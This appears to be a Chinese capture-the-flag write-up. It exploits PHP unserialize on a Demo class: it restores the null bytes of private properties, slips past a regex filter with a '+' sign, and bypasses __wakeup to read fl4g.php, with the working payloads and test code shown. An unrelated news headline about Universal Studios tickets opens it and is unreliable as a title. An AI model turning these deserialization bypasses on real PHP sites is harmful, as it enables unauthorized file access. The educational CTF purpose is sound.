網友稱飛豬搶到的北京環球影城優速通被退票:沒有主動申請
題目原始碼:
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else { @unserialize($var); } } else { highlight_file("index.php"); } ?>
在Demo函式裡又看見了wakeup函式,應該會涉及到反序列化
看到下面的if判斷語句,他先判斷了,是否有var這個引數,如果有就將他base64解碼,然後將解碼後的值做正則匹配
正則匹配條件分析:/[oc]:\d+:/i
oc:代表這塊區域用來匹配o或者c
\d:代表一個數字字元
+:代表可以匹配多次
/i:匹配時不區分大小寫
總結下來他匹配的物件大概張這樣:
o:4: (兩個冒號之間為數字,第一個冒號前面為o或者c的大小寫)
這裡看判斷條件,一旦正則匹配上了,程式就會停止,所以我們只能走下面的那個else條件,else中給了一個unserialize(),這個就是反序列化的操作,他的反向操作是serialize()
上面那個wakeup()函式在呼叫反序列化的操作時會首先執行,他的執行條件是判斷file引數值是否為index.php,如果不是則換成他,並且他在裡面提示了fl4g.php檔案,那我們的目的應該就是訪問這個fl4g檔案,可是我們的檔名一旦不為index時,便會強制替換為index,所以分析到這裡就知道,應該去使用上次我們利用的那個繞過wakeup函式的方法。
在本地搭建環境
將Demo函式複製過來
<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php $this->file = 'index.php'; } } } $a = new Demo('1.php'); $b = serialize($a); echo "</br>"; print_r($b); ?>
執行結果:
O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";} <?php
echo "這是1.php檔案";
?>
可以看到結果中已經將1.php檔案的程式碼高亮顯示。
其中O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}
這個是物件a序列化後的結果,後面的1.php就是我們要訪問的內容。
ps:這裡可以發現wakeup中的內容並沒有執行,這是因為這個wakeup只有在呼叫unserialize函式時才會執行,
__construct($file):這個函式會在建構函式時讀入一個值做引數
__destruct():這個函式會在程式銷燬時執行(有點像C++中的解構函式)
這裡我卡了很久,無論我怎麼改,都沒辦法修改這個物件的屬性值,後來發現不是無法修改,而是他沒執行建構函式,所以導致這個檔名並沒有讀入,然後我就去研究為什麼這個建構函式沒有執行。
這裡算是踩了個坑啊,回頭檢查可以發現,10後面對應的那個值:Demofile,這裡明明只有8個字元,何來10個字元?(這是php執行給的結果,所以這肯定不會是錯的)
查閱資料後知道,private屬性被序列化的時候屬性值會變成\x00類名\x00屬性名,其中:\x00表示空字元,但是還是佔用一個字元位置,這就是為什麼上面serialize($a)執行後的序列化字串中屬性file變成Demofile,長度為10。
修改程式碼,證明結論:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "建構函式執行!!";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "解構函式執行!!";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php';
}
}
}
$a = new Demo('1.php');
$b = base64_encode(serialize($a));
echo "</br>";
print_r($b);
echo "</br>";
$c = 'O:4:"Demo":1:{s:10:"Demofile";s:5:"1.php";}';//將序列化後的值直接複製過來
print_r(base64_encode($c));
//@unserialize($c);
?>
結果:
建構函式執行!!
Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9
Tzo0OiJEZW1vIjoxOntzOjEwOiJEZW1vZmlsZSI7czo1OiIxLnBocCI7fQ== <?php
echo "這是1.php檔案";
?> 解構函式執行!!
可以明顯的看到,兩次的base64編碼有差異,可以證明瀏覽器將這個\x00給幹掉了,這一點,不細細觀察真的感覺不出來。
那這一題就不能簡單複製貼上了,需要用到16進位制編輯器將瀏覽器給過濾掉的東西補回去。
這裡burpsuite可以很方便的實現,所以直接上工具!
將內容複製進decoder模組,然後點選hex,轉為16進位制,我們需要在少內容的地方將那兩個空字元補上,根據\x00類名\x00屬性名,可以知道,我們應該在D的前面和f的前面新增上這兩個空字元。
這裡的44代表D,66代表f
新增完後將其base64編碼,不然瀏覽器又會把他幹掉了,再次修改程式碼,測試能否執行:
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
echo "建構函式執行!!";
}
function __destruct() {
echo @highlight_file($this->file, true);
echo "解構函式執行!!";
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
//$this->file = 'index.php'; //先註釋掉這塊,主要測試建構函式
}
}
}
$c = 'Tzo0OiJEZW1vIjoxOntzOjEwOiIARGVtbwBmaWxlIjtzOjU6IjEucGhwIjt9';
//print_r(base64_encode($c));
$d = base64_decode($c);
@unserialize($d);
?>
執行結果:
<?php
echo "這是1.php檔案";
?> 解構函式執行!!
看到效果了,執行成功了,但是可以觀察到的是,建構函式依舊沒有執行,這說明在反序列化的過程中,並沒有涉及到這一步。
知道了這麼多東西,就可以回來看題目了,但題目中還有一個條件是,引數中不能包含數字,由於序列化後的字串是包含數字的,所以這又該怎麼過?
這裡繞過數字,其實質也是繞過preg_match()函式,那這就又需要上網蒐集知識點了
其中+號可以實現繞過(+號代表空格)
其他的可能繞過的方法:
-
true可以代替數字1
PHP中true為弱型別,true+true的值為2
-
異或法可以替代一些內容
str = r"~!@#$%^&*()_+<>?,.;:-[]{}/" for i in range(0, len(str)): for j in range(0, len(str)): a = ord(str[i])^ord(str[j]) print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))
這裡肯定是選最簡單的加號繞過
中間那個2就不重複解釋了,wakeup的漏洞,編碼後提交即可得到flag!
終於做完了@_@